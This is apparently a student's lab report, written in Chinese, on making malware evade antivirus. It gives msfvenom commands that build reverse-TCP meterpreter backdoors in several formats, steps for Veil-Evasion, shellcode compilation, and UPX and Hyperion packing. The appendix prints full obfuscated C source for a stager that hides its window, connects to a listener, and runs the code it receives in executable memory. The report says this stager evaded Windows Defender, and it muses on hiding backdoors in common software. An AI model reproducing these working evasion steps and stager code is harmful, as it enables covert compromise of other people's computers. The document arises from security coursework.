1.实验环境
- PC机一台,安装有win10系统 ,作为靶机进行实测
- 安装的kali虚拟机,作为攻击机
- kali虚拟机安装有veil-evasion
- win10系统有windows Defender作为杀软.
- 检测网站是VirusTotal
实验准备即相关知识
VirusTotal、Virscan
- 集成了60多个商业杀毒软件的扫描引擎。可以上传免杀处理过的程序进行检测。
- 链接如下:
Msfvenom使用编码器
- Msfvenom是Metasploit平台下用来编码payloads免杀的工具。
- 模板是msfvenom用来生成最终Exe的那个壳子exe文件,msfvenom会以固定的模板生成exe,所有它生成的exe,如果使用默认参数或模板,也有一定的固定特征。
Veil-Evasion
- Veil-Evasion是一个免杀平台,与Metasploit有点类似,在Kalil软件库中有,但默认没装。
C语言调用Shellcode
- 就是一个半手工打造恶意软件的例子。
加壳
-
- 加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行。
- 加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是为了隐藏程序真正的OEP(入口点,防止被破解)。
- 加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析
- 从技术上分壳分为:
- 压缩壳
- 加密壳
- 虚拟机
2.实验内容
-
2.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;(1.5分)
-
2.2 通过组合应用各种技术实现恶意代码免杀(1分)
(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
- 2.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(1分)
3.实验步骤
任务一
3.1 MSF编码器
上次实验的那个原生态的后门,在Virus Total网站被无情围剿。如果杀毒软件连这个都杀不了,那黑客也太好当
那我们加一个编码器试试吧,解释一下四个参数
-p 设置payload,攻击载荷。就是说明我们想攻击的系统是什么。
-e 编码方式
-b 规避坏字符
-f 最后生成的是什么格式的文件
效果也不是很好,结果不是很如人意,没什么变化。
msfvenom生成如jar之类的其他文件
- 1.生成jar文件
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.157.134 lport=528 x> 20175236_JAVAbackdoor.jar
- 扫描结果:检出率确实降低了不少
- 2.生成apk文件
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.157.134 LPORT=5236 R > 20175236_APKbackdoor.apk
- 扫描结果感觉和上面jar差不多
- 3.生成php文件
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.157.134 lport=5236 x> 20175236_PHPbackdoor.php
- 扫描结果比之前的那几个都要好很多
3.2 veil-evasion
这安装工具的安装方法参考
veils安装指南
- 安装好veil
- 然后输入
veil
指令,进入veil控制面板 - 输入
use evasion
命令进入veil-evasion - 输入
use c/meterpreter/rev_tcp.py
进入配置界面 - 设置反弹连接IP:
set LHOST 192.168。157.134
(此处为KaliIP),端口:set LPORT 5236
- 输入
generate
生成文件,接着输入你想要payload的名字20175236_eva.exe
,如图所示,文件保存路径为:/var/lib/veil/output/compiled/20175236_eva.exe
- 使用VirusTotal检测截图:
3.3 shellcode
- 首先我们需要先生成一段shellcode(注意看一下自己的ip地址)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.157.134 LPORT=5236 -f c
- 然后创建一个c文件
wpyshell.c
,将下述代码及新建的shellcode复制进去
1
2
3
4
5
6
7
|
unsigned
char
buf[] =
'shellcode'
int
main()
{
int
(*func)() = (
int
(*)())buf;
func();
}
|
- 然后因为我们需要将这个放入windoes下运行,所以需要进行交叉编译(没有的话可以
sudo apt-get install mingw-w64
下载编译软件)1i686-w64-mingw32-g++ wffshell.c -o wffshell.exe
- 放入上述网站扫描
shellcode刚编译成功,系统就报警了,且扫描结果看来伪装的不够好。
3.4 Upx加壳,Hyperion加壳
1.给上面的shellcode加一个压缩壳(UPX):
upx wffshell.exe -o wffshellupxed.exe
2.加密壳处理:将之前生成的exe文件拷贝到/usr/share/windows-binaries/hyperion/
目录中
加壳命令
wine hyperion.exe -v wffshellupxed.exe 5236-wffshellhyperion.exe
加壳后,从虚拟机复制到win10的时候,就被发现是病毒了,这个壳可能是透明的,一下就被看穿了。但同样上传网上扫描,扫描结果相对与没有加壳还是要好那么一点。
3.5 shellcode变形
此方法就是用编码器对shellcode进行编码,还是被WIndowsDefener封杀了。
任务二
我们可以使用msfvenom -l encoders
查看可以使用的编码器来生成不同的后门
任务三
3.6 自行编译Veil生成的源码
复制到win10中进行编译,用cmd打开minGW的GCC编译器进行编译。
Windows Defender请求扫描刚生成的EXE,我想,让你扫描吧,大不了我再换种方法。遗憾的是,扫描结果为安全,我有什么办法呢。
趁热打铁,那我放到网上测试一波。恍恍惚惚,7/65,只有7个杀毒软件识别为病毒,编译的后门就这样瞒天过海了。
然后用windows Defender查杀,结果是安全的。
在win10运行一下,Windows Defender 也没有发现异常。kali很快就连上了
4.报告内容:
4.1.基础问题回答
(1)杀软是如何检测出恶意代码的?
-
1.静态特征码查杀概念
从病毒体中提取的病毒特征码,逐个与程序文件比较。特征码是反病毒公司在分析病毒时,确定的只有该病毒才可能会有的一系列二进制串,由这些特征可以与其它病毒或正常程序区别开来。
-
2.启发式查杀
启发式查杀是虚拟机引擎和行为检测相结合,通过模拟执行, 分析程序行为的安全检测技术。
病毒和正常程序的区别可以体现在许多方面,比较常见的如:通常一个应用程序在最初的指令,是检查命令行输入有无参数项、清屏和保存原来屏幕显示等,而病毒程序则没有会这样做的,通常它最初的指令是直接写盘操作、解码指令,或搜索某路径下的可执行程序等相关操作指令序列。这些显著的不同之处,一个熟练的程序员在调试状态下只需一瞥便可一目了然。启发式代码扫描技术实际上就是把这种经验和知识移植到一个查病毒软件中的具体程序体现。
如果一个软件做的事和恶意代码一样,那么认为这样的程序是恶意代码,用自己的话概括就是:宁可杀错,不可放过
-
3.云查杀
云安全机制是一种新兴的安全查杀机制,不同的安全厂商的云安全查杀机制不一样。基于云共享特征库扫描机制360 安全卫士,电脑管家,基于主动防御信誉云的扫描机制 。
(2)免杀是做什么?
简单的说,免杀,就是避免被杀。
具体一点,免杀就是让杀毒软件查不出恶意代码。专业一点,就是通过针对杀毒软件查杀恶意代码的原理,将恶意代码进行修改和包装,反过来使得恶意代码能够不被杀毒软件所检测和查杀,更好地植入到被攻击的主机中进行一些非法的操作。
(3)免杀的基本方法有哪些?
如何绕过静态查杀?
1 动态调用 API
2 代码混淆技术
3 底层API替代调用
4 加壳保护
如何突破启发式?
1 内存载入解析技术 2 模块二次载入技术 3 模块劫持和白名单 4 白名单进程 5 功能模块分离 6 代码注入 7 正常软件行为模拟
如何突破云查杀?
1 降低本地文件行为危险等级; 2 白名单机制; 3 文件体积膨胀;
4.2.实践总结与体会
我原来以为杀毒软件是万能的,又能杀毒,又能清理垃圾,还能给系统打补丁,好厉害,好神奇,简直是万能的。现在想想,仅仅依靠杀毒软件是万万不能的。杀软查不出的病毒还是很多的,比如我们这次实验做的后门……大多数同学都达到了免杀的效果。主要是自己不能乱下载来源不明的东西,不能轻易相信别人的U盘。做好主机的保护,首先不给病毒进入电脑的机会,其次才是查杀电脑里的病毒。
4.3.离实战还缺些什么技术或步骤?
1.不能控制公网的主机。
很明显我的后门只能在局域网使用。如果别人和我不在一个网段,我就无能为力了。所以,想窃取点信息什么的,基本没戏。
2.不能大范围渗透。
我的后门只能依靠拷贝来传播,这样很效率太低了,而且很容易被发现。还是合成到某个常用的应用程序里,伪装成正常的软件,让大家下载使用,这才是真正的后门。
附录
#define _WIN32_WINNT 0x0500
#include <winsock2.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <windows.h>
char* zEHdmMza(char* s){ char *result = malloc(strlen(s)*2+1); int i; for (i=0; i<strlen(s)*2+1; i++){ result[i] = s[i/2]; result[i+1]=s[i/2];} result[i] = '\0'; return result; }
char* UWrUOItcH(const char *t) { int length= strlen(t); int i; char* t2 = (char*)malloc((length+1) * sizeof(char)); for(i=0;i<length;i++) { t2[(length-1)-i]=t[i]; } t2[length] = '\0'; return t2; }
void WEmNTlr() {WORD PohvbK = MAKEWORD((2*1+0), (2*1+0)); WSADATA fNdgibEfMhOVBRZ;if (WSAStartup(PohvbK, &fNdgibEfMhOVBRZ) < 0) { WSACleanup(); exit(1);}}
char* orDXSozjOHGbRvj(){ char lOlMtqdvCyJvgh[7844], XINcUZENitFo[7844/2]; strcpy(lOlMtqdvCyJvgh,"TfNgaMgNsolzjfEvBwmKEMLruzPmOwKsicYOqxtojAmrDUYpgk"); strcpy(XINcUZENitFo,"iIBEpwwQOsQcNTiVTWdXRuixIMUJWdKKLVZlJgokgUNKwULssq"); return UWrUOItcH(strcat( lOlMtqdvCyJvgh, XINcUZENitFo)); }
void eTPexPqYiKxF(SOCKET pBBfHTDs) {closesocket(pBBfHTDs);WSACleanup();exit(1);}
char* bOVXbWrhRapwGZG() { char fkHWUVRVMBuk[7844] = "xFMXorfPEflsxAnqpfArCeEiJmbpyjzPkQOtfWpKajPONGsppp"; char *kHAMqrqgt = strupr(fkHWUVRVMBuk); return strlwr(kHAMqrqgt); }
int NqHuwUNhrJbliQw(SOCKET IAbOCXWeco, void * dXfsDEwwK, int cWCnDcNDcadCkW){int slfkmklsDSA=0;int rcAmwSVM=0;void * startb = dXfsDEwwK;while (rcAmwSVM < cWCnDcNDcadCkW) {slfkmklsDSA = recv(IAbOCXWeco, (char *)startb, cWCnDcNDcadCkW - rcAmwSVM, 0);startb += slfkmklsDSA; rcAmwSVM += slfkmklsDSA;if (slfkmklsDSA == SOCKET_ERROR) eTPexPqYiKxF(IAbOCXWeco);} return rcAmwSVM; }
char* tkjcDeawhCvdv(){ char *rQjTAe = zEHdmMza("qKybxoVpNenJZltcloNxIsqPTNxzvrSgjYkUMBsilcOVOBzwfb"); return strstr( rQjTAe, "N" );}
SOCKET YjyMOHHZXkgw() { struct hostent * iuPGysX; struct sockaddr_in eWLoFfCGByNAjb; SOCKET XCmQvron;XCmQvron = socket(AF_INET, SOCK_STREAM, 0);if (XCmQvron == INVALID_SOCKET) eTPexPqYiKxF(XCmQvron);iuPGysX = gethostbyname("172.16.2.21");if (iuPGysX == NULL) eTPexPqYiKxF(XCmQvron);memcpy(&eWLoFfCGByNAjb.sin_addr.s_addr, iuPGysX->h_addr, iuPGysX->h_length);eWLoFfCGByNAjb.sin_family = AF_INET;eWLoFfCGByNAjb.sin_port = htons((153*29+7));if ( connect(XCmQvron, (struct sockaddr *)&eWLoFfCGByNAjb, sizeof(eWLoFfCGByNAjb)) ) eTPexPqYiKxF(XCmQvron);return XCmQvron;}
int main(int argc, char * argv[]) {ShowWindow( GetConsoleWindow(), SW_HIDE );ULONG32 CzIQYmzQqYH;char * irLdgEDHmFT;int i;char* fCWGuAPrFJiMzr[1852];void (*ymruLxVUW)();for (i = 0; i < 1852; ++i) fCWGuAPrFJiMzr[i] = malloc (8772);WEmNTlr();char* vABmQT[6724];SOCKET KbhgtHYviCTSU = YjyMOHHZXkgw();for (i = 0; i < 6724; ++i) vABmQT[i] = malloc (8479);int xHqATxtd = recv(KbhgtHYviCTSU, (char *)&CzIQYmzQqYH, (4*1+0), 0);if (xHqATxtd != (4*1+0) || CzIQYmzQqYH <= 0) eTPexPqYiKxF(KbhgtHYviCTSU);irLdgEDHmFT = VirtualAlloc(0, CzIQYmzQqYH + (5*1+0), MEM_COMMIT, PAGE_EXECUTE_READWRITE);char* GUQnFwRVzocu[380];for (i=0; i<1852; ++i){strcpy(fCWGuAPrFJiMzr[i], orDXSozjOHGbRvj());}if (irLdgEDHmFT == NULL) eTPexPqYiKxF(KbhgtHYviCTSU);irLdgEDHmFT[0] = 0xBF;memcpy(irLdgEDHmFT + 1, &KbhgtHYviCTSU, (4*1+0));for (i = 0; i < 380; ++i) GUQnFwRVzocu[i] = malloc (9299);for (i=0; i<6724; ++i){strcpy(vABmQT[i], bOVXbWrhRapwGZG());}xHqATxtd = NqHuwUNhrJbliQw(KbhgtHYviCTSU, irLdgEDHmFT + (2*2+1), CzIQYmzQqYH);ymruLxVUW = (void (*)())irLdgEDHmFT;ymruLxVUW();for (i=0; i<380; ++i){strcpy(GUQnFwRVzocu[i], tkjcDeawhCvdv());}return 0;}
思考题
- 开启杀软能绝对防止电脑中恶意代码吗?
很明显,并不能绝对防止电脑中恶意代码。在实验的网站检测中我们可以看到后门的检测率很低,即便是在一些经常使用的杀毒软件上,一些后门仍旧隐藏的极好,很难被检测到,我们只能说,开启杀软对防止电脑中恶意代码有一定的作用,但如果想绝对防止以如今的杀毒软件可能无法实现,面对一些专门针对杀软弱点的后门程序仍旧无能为力。